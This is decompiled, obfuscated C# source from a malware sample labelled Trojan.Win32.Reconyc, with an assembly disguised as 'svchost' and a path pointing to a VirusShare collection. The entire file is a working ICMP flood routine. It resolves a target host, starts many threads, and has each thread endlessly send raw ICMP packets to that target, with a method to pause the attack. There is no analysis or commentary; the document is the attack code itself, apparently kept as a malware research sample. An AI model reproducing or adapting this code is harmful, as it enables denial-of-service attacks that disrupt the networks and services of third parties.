// Decompiled with JetBrains decompiler // Type: ?1?.?5? // Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe using \u003F1\u003F; using System.Net; using System.Net.Sockets; using System.Threading; namespace \u003F1\u003F { internal class \u003F5\u003F { private static ThreadStart[] \u003F130\u003F; private static Thread[] \u003F131\u003F; public static string \u003F129\u003F; public static int \u003F140\u003F; private static IPEndPoint \u003F79\u003F; public static int \u003F132\u003F; public static int \u003F87\u003F; private static \u003F5\u003F.\u003F6\u003F[] \u003F133\u003F; public static int \u003F134\u003F; public static void \u003F24\u003F() { try { \u003F5\u003F.\u003F79\u003F = new IPEndPoint(Dns.GetHostEntry(\u003F5\u003F.\u003F129\u003F).AddressList[0], \u003F5\u003F.\u003F132\u003F); } catch { \u003F5\u003F.\u003F79\u003F = new IPEndPoint(IPAddress.Parse(\u003F5\u003F.\u003F129\u003F), \u003F5\u003F.\u003F132\u003F); } \u003F5\u003F.\u003F131\u003F = new Thread[\u003F5\u003F.\u003F134\u003F]; \u003F5\u003F.\u003F130\u003F = new ThreadStart[\u003F5\u003F.\u003F134\u003F]; \u003F5\u003F.\u003F133\u003F = new \u003F5\u003F.\u003F6\u003F[\u003F5\u003F.\u003F134\u003F]; for (int index = 0; index < \u003F5\u003F.\u003F134\u003F; ++index) { \u003F5\u003F.\u003F133\u003F[index] = new \u003F5\u003F.\u003F6\u003F(\u003F5\u003F.\u003F79\u003F, \u003F5\u003F.\u003F140\u003F, \u003F5\u003F.\u003F87\u003F); \u003F5\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F5\u003F.\u003F133\u003F[index].\u003F23\u003F); \u003F5\u003F.\u003F131\u003F[index] = new Thread(\u003F5\u003F.\u003F130\u003F[index]); \u003F5\u003F.\u003F131\u003F[index].Start(); } } public static void \u003F25\u003F() { for (int index = 0; index < \u003F5\u003F.\u003F134\u003F; ++index) { try { \u003F5\u003F.\u003F131\u003F[index].Suspend(); } catch { } } } private class \u003F6\u003F { private int \u003F140\u003F; private IPEndPoint \u003F79\u003F; private int \u003F87\u003F; private Socket[] \u003F135\u003F; public \u003F6\u003F(IPEndPoint _param1, int _param2, int _param3) { this.\u003F79\u003F = _param1; this.\u003F140\u003F = _param2; this.\u003F87\u003F = _param3; } public void \u003F23\u003F() { while (true) { byte[] buffer = new byte[this.\u003F87\u003F]; try { this.\u003F135\u003F = new Socket[this.\u003F140\u003F]; for (int index = 0; index < this.\u003F140\u003F; ++index) { this.\u003F135\u003F[index] = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp); this.\u003F135\u003F[index].Blocking = false; this.\u003F135\u003F[index].SendTo(buffer, (EndPoint) this.\u003F79\u003F); } Thread.Sleep(100); for (int index = 0; index < this.\u003F140\u003F; ++index) { if (this.\u003F135\u003F[index].Connected) this.\u003F135\u003F[index].Disconnect(false); this.\u003F135\u003F[index].Close(); this.\u003F135\u003F[index] = (Socket) null; } this.\u003F135\u003F = (Socket[]) null; } catch { for (int index = 0; index < this.\u003F140\u003F; ++index) { try { if (this.\u003F135\u003F[index].Connected) this.\u003F135\u003F[index].Disconnect(false); this.\u003F135\u003F[index].Close(); this.\u003F135\u003F[index] = (Socket) null; } catch { } } } } } } } }